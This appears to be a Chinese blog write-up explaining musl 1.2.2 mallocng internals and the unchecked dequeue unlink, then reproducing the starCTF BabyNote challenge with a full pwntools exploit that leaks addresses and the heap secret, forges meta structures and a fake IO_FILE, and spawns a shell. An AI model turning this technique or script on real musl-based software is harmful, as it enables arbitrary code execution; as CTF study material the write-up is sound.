musl1.2.2源码分析+starCTF-BabyNote复现
196082 慢慢好起来

源码分析

数据结构

这里根据我参考的文章来进行分析,chunk->group->mate

chunk

这里其实是没有定义chunk这个结构的,不过根据效果可以推断出来

chunk关于0x10字节对其,如果是group中的第一个chunk,p的前0x10字节作为group结构体的头部,包括meta地址等。
如果不是第一个chunk,只有前4字节作为元数据,包括了idx和offset,用来计算与该chunk与group地址的偏移。如果该chunk被释放,idx会被写为0xff,offset为0。
idx和offset的作用就是free时根据chunk地址找到该group对应meta的地址,也为漏洞利用做了铺垫。

1
2
3
4
5
6
struct chunk{
char prev_user_data[];
uint8_t idx; //低5bit为idx第几个chunk
uint16_t offset; //与第一个chunk起始地址的偏移,实际地址偏移为offset * UNIT
char data[];
};

group

在musl中一个meta管理的内存区域用group表示,一个meta对应一个group。
group中存放size相同的相邻chunk,通过idx和offset索引。

1
2
3
4
5
6
struct group {
struct meta *meta;// meta的地址
unsigned char active_idx:5;
char pad[UNIT - sizeof(struct meta *) - 1];// 保证0x10字节对齐
unsigned char storage[];# chunk
};

通过chunk获取group地址

1
2
3
4
5
6
7
8
9
10
11
12
13
static inline struct meta *get_meta(const unsigned char *p)
{
assert(!((uintptr_t)p & 15));
int offset = *(const uint16_t *)(p - 2);
int index = get_slot_index(p);
if (p[-4]) {
assert(!offset);
offset = *(uint32_t *)(p - 8);
assert(offset > 0xffff);
}
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
... ...
}

最终就是:

1
group_addr = chunk_addr - 0x10 * offset - 0x10

meta

1
2
3
4
5
6
7
8
9
struct meta {
struct meta *prev, *next;//双向链表
struct group *mem;// 这里指向管理的group 地址
volatile int avail_mask, freed_mask;
uintptr_t last_idx:5; //group中chunk数
uintptr_t freeable:1;
uintptr_t sizeclass:6; //管理group大小
uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

其中如果这个meta 前后都没有,那么它的prev next 就指向它自己

avail_mask和freed_mask以bitmap方式表示group中chunk的状态

meta_arena

1
2
3
4
5
6
struct meta_area {
uint64_t check;
struct meta_area *next;
int nslots;
struct meta slots[];
};

在内存页起始地址,是多个meta的集合,这样是为了meta & 0xffffffffffff000就能找到meta_arena结构体。

结构体中比较重要的就是check,Musl为了保证meta不被伪造,会验证meta_arena中的check是否与malloc_context中的secret相等。

malloc_context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct malloc_context {
uint64_t secret;//也就是用于和meta_area验证的值
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done;
unsigned mmap_counter;
struct meta *free_meta_head;//释放的meta
struct meta *avail_meta;//可用分配的meta
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail;
unsigned char *avail_meta_areas;
struct meta *active[48];//可以分配的meta地址,idx与size相关
size_t usage_by_class[48];//所有meta的group管理chunk数量
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk;
};

malloc和free的源码分析

malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
void *malloc(size_t n)
{
if (size_overflows(n)) return 0;
struct meta *g;
uint32_t mask, first;
int sc;
int idx;
int ctr;

if (n >= MMAP_THRESHOLD) {
size_t needed = n + IB + UNIT;
void *p = mmap(0, needed, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANON, -1, 0);
if (p==MAP_FAILED) return 0;
wrlock();
step_seq();
g = alloc_meta();
if (!g) {
unlock();
munmap(p, needed);
return 0;
}
g->mem = p;
g->mem->meta = g;
g->last_idx = 0;
g->freeable = 1;
g->sizeclass = 63;
g->maplen = (needed+4095)/4096;
g->avail_mask = g->freed_mask = 0;
// use a global counter to cycle offset in
// individually-mmapped allocations.
ctx.mmap_counter++;
idx = 0;
goto success;
}// 这上面就是验证是否超过最大size以及是否使用mmap进行申请空间

sc = size_to_class(n);// 将size转化成对应的size_classes的下标

rdlock();
g = ctx.active[sc];// 取出对应sc的meta

// use coarse size classes initially when there are not yet
// any groups of desired size. this allows counts of 2 or 3
// to be allocated at first rather than having to start with
// 7 or 5, the min counts for even size classes.
// 没找到对应的meta 会执行下面的if语句
if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1) && !ctx.usage_by_class[sc]) {
size_t usage = ctx.usage_by_class[sc|1];
// if a new group may be allocated, count it toward
// usage in deciding if we can use coarse class.
if (!ctx.active[sc|1] || (!ctx.active[sc|1]->avail_mask
&& !ctx.active[sc|1]->freed_mask))
usage += 3;
if (usage <= 12)
sc |= 1;
g = ctx.active[sc];
}

for (;;) {// 寻找对应size的maeta的group可用的chunk
mask = g ? g->avail_mask : 0;
first = mask&-mask;
if (!first) break;
if (RDLOCK_IS_EXCLUSIVE || !MT)
g->avail_mask = mask-first;
else if (a_cas(&g->avail_mask, mask, mask-first)!=mask)
continue;
idx = a_ctz_32(first);
goto success;
}
upgradelock();

idx = alloc_slot(sc, n);// 使用alloc_slot寻找idx
if (idx < 0) {
unlock();
return 0;
}
g = ctx.active[sc];

success:
ctr = ctx.mmap_counter;
unlock();
return enframe(g, idx, n, ctr);// 取出chunk
}

下面总结一下:

 1. 首先是判断size,是否超过限制,或者是否超过阀值
 2. 若是size没有超过阀值,则会在active里找对应size的meta
 3. 如果active对应size的meta 位置上为空,没找到那么尝试先找size更大的meta
 4. 如果active对应size的meta位置上有对应的meta,尝试从这个meta中的group找到可用的chunk
 5. 如果有空闲的chunk,就直接修改meta->avail_mask,然后利用enframe(g, idx, n, ctr);
 6. 从对应meta 中的group 取出 第idx号chunk分配
 7. 如果没有,break 跳出循环
 8. 跳出循环后执行`idx = alloc_slot(sc, n);`
     1. 使用group中被free的chunk
     2. 从队列中其他meta的group 中找
     3. 如果都不行就重新分配一个新的group 对应一个新的meta
 9. enframe(g, idx, n, ctr) 取出 对应meta 中对应idx 的chunk

free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void free(void *p)
{
if (!p) return;

struct meta *g = get_meta(p);// 得到chunk对应的meta
int idx = get_slot_index(p);// 得到idx
size_t stride = get_stride(g);// 找到size_classes中对应chunk的size
unsigned char *start = g->mem->storage + stride*idx;
unsigned char *end = start + stride - IB;
get_nominal_size(p, end);// 算出chunk的真实大小
uint32_t self = 1u<<idx, all = (2u<<g->last_idx)-1;
((unsigned char *)p)[-3] = 255;
// invalidate offset to group header, and cycle offset of
// used region within slot if current offset is zero.
*(uint16_t *)((char *)p-2) = 0;

// release any whole pages contained in the slot to be freed
// unless it's a single-slot group that will be unmapped.
if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) {
unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1));
size_t len = (end-base) & -PGSZ;
if (len) madvise(base, len, MADV_FREE);
}

// atomic free without locking if this is neither first or last slot
for (;;) {
uint32_t freed = g->freed_mask;
uint32_t avail = g->avail_mask;
uint32_t mask = freed | avail; // 将free的chunk加进去
assert(!(mask&self));
if (!freed || mask+self==all) break;
if (!MT)
g->freed_mask = freed+self;
else if (a_cas(&g->freed_mask, freed, freed+self)!=freed)
continue;
return;
}

wrlock();
struct mapinfo mi = nontrivial_free(g, idx);
unlock();
if (mi.len) munmap(mi.base, mi.len);
}

总结一下:

 1. 通过get_meta(p)得到meta,通过get_slot_index(p)得到对应chunk的 idx -> 通过get_nominal_size(p, end) 算出真实大小
 2. 重置idx 和 offset idx 被置为0xff 标记chunk, 修改freed_mask 标记chunk被释放
 3. 最后调用nontrivial_free 完成关于meta一些剩余操作

仔细观察分配的过程,我们也可以看出为什么free 的chunk不能立即回收使用,因为有空闲的chunk的时候,分配chunk是直接设置meta->avail_mask

然后直接enframe() 直接从group中取出 chunk即可,不会设置meta->freed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static inline struct meta *get_meta(const unsigned char *p)
{
assert(!((uintptr_t)p & 15));
int offset = *(const uint16_t *)(p - 2);
int index = get_slot_index(p);
if (p[-4]) {
assert(!offset);
offset = *(uint32_t *)(p - 8);
assert(offset > 0xffff);
}
const struct group *base = (const void *)(p - UNIT*offset - UNIT);// 通过offset 和chunk 地址计算出group地址
const struct meta *meta = base->meta;// 得到meta地址
assert(meta->mem == base);// 检查meta 是否指向对应的group
assert(index <= meta->last_idx);// 检查chunk idx 是否超过 meta 最大chunk 容量
assert(!(meta->avail_mask & (1u<<index)));
assert(!(meta->freed_mask & (1u<<index)));
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);// 得到meta_area 地址
assert(area->check == ctx.secret);// 检查 check 校验值
if (meta->sizeclass < 48) {// 检查是否属于 sizeclasses 管理的chunk 大小
assert(offset >= size_classes[meta->sizeclass]*index);
assert(offset < size_classes[meta->sizeclass]*(index+1));
} else {
assert(meta->sizeclass == 63);
}
if (meta->maplen) {
assert(offset <= meta->maplen*4096UL/UNIT - 1);
}
return (struct meta *)meta;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;

if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
// 要么释放要么可用,且该meta可以被释放
// any multi-slot group is necessarily on an active list
// here, but single-slot groups might or might not be.
if (g->next) {
// 如果队列中 有下一个meta
assert(sc < 48);
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);
// 在出队操作后 ,ctx.active[sc]==meta ->next 是指的刚刚出队meta 的下一个meta
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);
}
return free_group(g);
} else if (!mask) {
assert(sc < 48);
// might still be active if there were no allocations
// after last available slot was taken.
if (ctx.active[sc] != g) {
queue(&ctx.active[sc], g);
}
}
a_or(&g->freed_mask, self);
return (struct mapinfo){ 0 };
}
1
2
3
4
5
6
7
8
9
10
11
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next;
m->next->prev = m->prev;
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}

这里存在不安全的解链操作了

可以看到没有任何的安全检测就直接往prev写入值了。那么这里进入到dequeue的条件主要有两点:

  • 第一种:如果一个group 中所有的chunk 都已经被使用,且没有free掉的chunk
  • 第二种:group 中的chunk 当free掉最后一个chunk,都处于freed的状态

BabyNote

题目分析

这道题的逆向过程也不是很难,可以知道题目维护的是一个单链表的结构

在比赛期间没发现这道题的漏洞,看了wp发现我少考虑了一种极端情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
unsigned __int64 sub_16A1()
{
void *v1; // [rsp+8h] [rbp-28h] BYREF
__int64 *i; // [rsp+10h] [rbp-20h]
__int64 v3; // [rsp+18h] [rbp-18h]
void *ptr; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
v1 = 0LL;
v3 = give_name((__int64 *)&v1);
ptr = (void *)_int_find(v1, v3);
if ( ptr )
{
if ( ptr != (void *)chunk_start || *(_QWORD *)(chunk_start + 0x20) )
{
if ( *((_QWORD *)ptr + 4) )
{
for ( i = &chunk_start; ptr != (void *)*i; i = (__int64 *)(*i + 0x20) )
;
*i = *((_QWORD *)ptr + 4);
}
}
else
{
chunk_start = 0LL;
}
free(*(void **)ptr);
free(*((void **)ptr + 1));
free(ptr);
puts("ok");
}
else
{
puts("oops.....");
}
free(v1);
return __readfsqword(0x28u) ^ v5;
}unsigned __int64 sub_16A1()
{
void *v1; // [rsp+8h] [rbp-28h] BYREF
__int64 *i; // [rsp+10h] [rbp-20h]
__int64 v3; // [rsp+18h] [rbp-18h]
void *ptr; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
v1 = 0LL;
v3 = give_name((__int64 *)&v1);
ptr = (void *)_int_find(v1, v3);
if ( ptr )
{
if ( ptr != (void *)chunk_start || *(_QWORD *)(chunk_start + 0x20) )
{
if ( *((_QWORD *)ptr + 4) )
{
for ( i = &chunk_start; ptr != (void *)*i; i = (__int64 *)(*i + 0x20) )
;
*i = *((_QWORD *)ptr + 4);
}
}
else
{
chunk_start = 0LL;
}
free(*(void **)ptr);
free(*((void **)ptr + 1));
free(ptr);
puts("ok");
}
else
{
puts("oops.....");
}
free(v1);
return __readfsqword(0x28u) ^ v5;
}

也就是当最后一个结点(也是第一个生成的结点)被删除的时候,倒数第二个结点(也就是第二个生成的结点)的next指针还是会指向最后一个结点,这也就造成了UAF

利用过程

首先生成UAF的chunk

1
2
3
create(0x38, b'a' * 0x38, 0x28, b'a' * 0x28)
create(0x38, b'b' * 0x38, 0x38, b'b' * 0x38)
delete(0x38, b'a' * 0x38)

image-20220510102335264

可以看到其实已经是造成了UAF了

这个时候我们如果在free的chunk这里生成一个管理堆块即可泄漏出堆地址,但是上面提到了musl在free后不会直接该表avail的值,而是等avail用完了才会根据freed修改avail。

image-20220510103046917

可以看到当前的meta,题目的show函数也是会创建chunk然后free掉的,所以修改掉即可。

1
2
for i in range(7):
find(0x28, b'a' * 0x28)

image-20220510103350652

那么下一次申请的管理堆块就会是我们上面的内容堆块

我发现如果单纯的按照上面的操作会出现后面生成的管理堆会覆盖掉以前的管理堆导致破坏了UAF,所以我在前面新增了一段代码

1
2
3
create(0x38, b'd' * 0x38, 0x38, b'd' * 0x38)
for i in range(8):
find(0x28, b'a' * 0x28)

image-20220510105155095

从而达到这种效果,使我们造成UAF的管理堆块在group的最后,避免覆盖

image-20220510105526734

接着进行上面的步骤即可实现这一效果

image-20220510110419373

紧接着泄漏地址

根据上面描述的,我们最终利用的其实是dequeue当中的任意地址写,但是在进入这个函数之前会检测secrt值,所以我们还需要泄漏一次,这次泄漏的思路和上面差不多,这里可以通过show函数修改掉我们最开始管理堆块即可进行泄漏。

到这里已经泄漏完所有的东西了,下一步就是伪造IO_FILE进行FSOP来getshell了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *

r = process('babynote')
elf = ELF('babynote')
libc = ELF('libc.so')

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'


def create(name_size, name, note_size, note):
r.recvuntil(b'option: ')
r.sendline(b'1')
r.recvuntil(b'name size: ')
r.sendline(bytes(str(name_size), encoding='utf-8'))
r.recvuntil(b'name: ')
r.send(name)
r.recvuntil(b'note size: ')
r.sendline(bytes(str(note_size), encoding='utf-8'))
r.recvuntil(b'note content: ')
r.send(note)


def find(name_size, name):
r.recvuntil(b'option: ')
r.sendline(b'2')
r.recvuntil(b'name size: ')
r.sendline(bytes(str(name_size), encoding='utf-8'))
r.recvuntil(b'name: ')
r.send(name)


def delete(name_size, name):
r.recvuntil(b'option: ')
r.sendline(b'3')
r.recvuntil(b'name size: ')
r.sendline(bytes(str(name_size), encoding='utf-8'))
r.recvuntil(b'name: ')
r.send(name)


def forget():
r.recvuntil(b'option: ')
r.sendline(b'4')


create(0x38, b'd' * 0x38, 0x38, b'd' * 0x38)
for i in range(8):
find(0x28, b'1' * 0x28)
forget()
create(0x38, b'a' * 0x38, 0x28, b'a' * 0x28)
create(0x38, b'b' * 0x38, 0x38, b'b' * 0x38)
delete(0x38, b'a' * 0x38)
for i in range(6):
find(0x28, b'a' * 0x28)
create(0x38, b'c' * 0x38, 0x58, b'c' * 0x58)
find(0x38, b'a' * 0x38)
r.recvuntil(b'0x28:')
elf_base = b''
libc_base = b''
for i in range(6):
elf_base = r.recv(2) + elf_base
r.recv(4)
for i in range(6):
libc_base = r.recv(2) + libc_base
elf_base = int(elf_base, base=16) - 0x4dc0
libc_base = int(libc_base, base=16) - 0xb7870
print(hex(elf_base))
print(hex(libc_base))

__malloc_context = libc_base + 0xb4ac0
for i in range(6):
find(0x28, b'a' * 0x28)
payload = flat(elf_base + 0x4cc0, __malloc_context, 0x38, 0x28, 0)
find(0x28, payload)
find(0x38, b'a' * 0x38)
r.recvuntil(b'0x28:')
secret = b''
for i in range(8):
secret = r.recv(2) + secret
secret = int(secret, base=16)
print(hex(secret))

__stdout_used = libc_base + 0xb43b0
heap_addr = libc_base - 0x7000
system = libc_base + libc.symbols['system']
fake_area_addr = heap_addr + 0x1000
fake_meta_addr = fake_area_addr + 0x10
fake_group_addr = fake_meta_addr + 0x30
fake_IO_FILE_addr = fake_group_addr + 0x10
fake_meta_area = flat(secret, 0)
fake_meta = flat(fake_IO_FILE_addr, __stdout_used, fake_group_addr, (1 << 1),
(20 << 6) | (1 << 5) | 1 | (0xfff << 12))
fake_meta = fake_meta.ljust(0x30)
fake_group = flat(fake_meta_addr, 0)
fake_IO_FILE = b'/bin/sh\x00' + b'a' * 0x20 + p64(0xdeadbeef) + b'X' * 8 + p64(
0xbeefdead) + p64(system) * 2
fake_IO_FILE = fake_IO_FILE.ljust(0x500, b"\x00")
payload = b'a' * (
0x1000 - 0x20) + fake_meta_area + fake_meta + fake_group + fake_IO_FILE
payload = payload.ljust(0x2000, b"z")
context.log_level = 'debug'
create(0x38, b'e' * 0x38, 0x2000, payload)

fake_name_addr = elf_base + 0x4d80
fake_note = flat(fake_name_addr, fake_IO_FILE_addr, 0x38, 0x38, 0)
fake_note_addr = libc_base + 0xb7d50
create(0x4, b'f' * 0x4, 0x28, fake_note)
create(0x4, b'g' * 0x4, 0x38, b'h' * 0x38)
find(0x28, b'a' * 0x28)
find(0x28, b'a' * 0x28)
payload = flat(elf_base + 0x4cc0, __malloc_context, 0x38, 0x28, fake_note_addr)
find(0x28, payload)

delete(0x38, b'h' * 0x38)
r.recvuntil(b'option: ')
r.sendline(b'5')

# gdb.attach(
# r,
# 'dir /mnt/hgfs/download/musl/musl-1.2.2/musl-1.2.2/src/malloc\ndir /mnt/hgfs/download/musl/musl-1.2.2/musl-1.2.2/src/malloc/mallocng\nb free'
# )

r.interactive()

构造meta

这里再继续花上一点篇幅讲解一下怎么构造meta,其实看别人博客也把我看晕了,自己对照源码然后调试发现并不难,所以我的exp也就整体进行了缩减。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;

if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
// any multi-slot group is necessarily on an active list
// here, but single-slot groups might or might not be.
if (g->next) {
assert(sc < 48);
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);
}
return free_group(g);
}
... ...
}

可以看到我们如果想要进入dequeue需要进入if判断,并且内部还有个assert,我们需要绕过这两项。

再关注一下meta结构

1
2
3
4
5
6
7
8
9
struct meta {
struct meta *prev, *next;
struct group *mem;
volatile int avail_mask, freed_mask;
uintptr_t last_idx:5;
uintptr_t freeable:1;
uintptr_t sizeclass:6;
uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

首先看if判断的第一个内容,我们先看一下在exp当中构造的meta的最后是什么形式表现的

image-20220510154833852

可以看到这里的avail_mask和freed_mask的或值是2等号左半边的值即为3,再看last_idx那么有半边也为3了,就轻松绕过了。再看后面的那个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static int okay_to_free(struct meta *g)
{
int sc = g->sizeclass;

if (!g->freeable) return 0;

// always free individual mmaps not suitable for reuse
if (sc >= 48 || get_stride(g) < UNIT*size_classes[sc])
return 1;

// always free groups allocated inside another group's slot
// since recreating them should not be expensive and they
// might be blocking freeing of a much larger group.
if (!g->maplen) return 1;

// if there is another non-full group, free this one to
// consolidate future allocations, reduce fragmentation.
if (g->next != g) return 1;

// free any group in a size class that's not bouncing
if (!is_bouncing(sc)) return 1;

size_t cnt = g->last_idx+1;
size_t usage = ctx.usage_by_class[sc];

// if usage is high enough that a larger count should be
// used, free the low-count group so a new one will be made.
if (9*cnt <= usage && cnt < 20)
return 1;

// otherwise, keep the last group in a bouncing class.
return 0;
}

我们只需要返回的结果不为0即可,所以对照上面的图片即可看到很轻松也是可以绕过的,最后则是里面的assert的不大于48,也是很简单就绕过了。但是在实验期间发现了一个新的检测,我把maplen删掉了之后出现了崩溃的情况,查看源码发现,maplen =0 表示group 不是新mmap 出来的在size_classes里,meta 一般申请的是堆空间brk 分配的,有可能是mmap 映射的,而group 都是使用的mmap 的空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static struct mapinfo free_group(struct meta *g)
{
struct mapinfo mi = { 0 };
int sc = g->sizeclass;
if (sc < 48) {
ctx.usage_by_class[sc] -= g->last_idx+1;
}
if (g->maplen) {
step_seq();
record_seq(sc);
mi.base = g->mem;
mi.len = g->maplen*4096UL;
} else {
void *p = g->mem;
struct meta *m = get_meta(p);
int idx = get_slot_index(p);
g->mem->meta = 0;
// not checking size/reserved here; it's intentionally invalid
mi = nontrivial_free(m, idx);
}
free_meta(g);
return mi;
}

源码这里也验证了,如果置为0就会进一步进行free,在get_meta就可会出现崩溃。其实在get_meta函数内存在很多assert都可以看一下,这里就不过多赘述了。


参考链接:

https://xz.aliyun.com/t/10326

https://eqqie.cn/

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量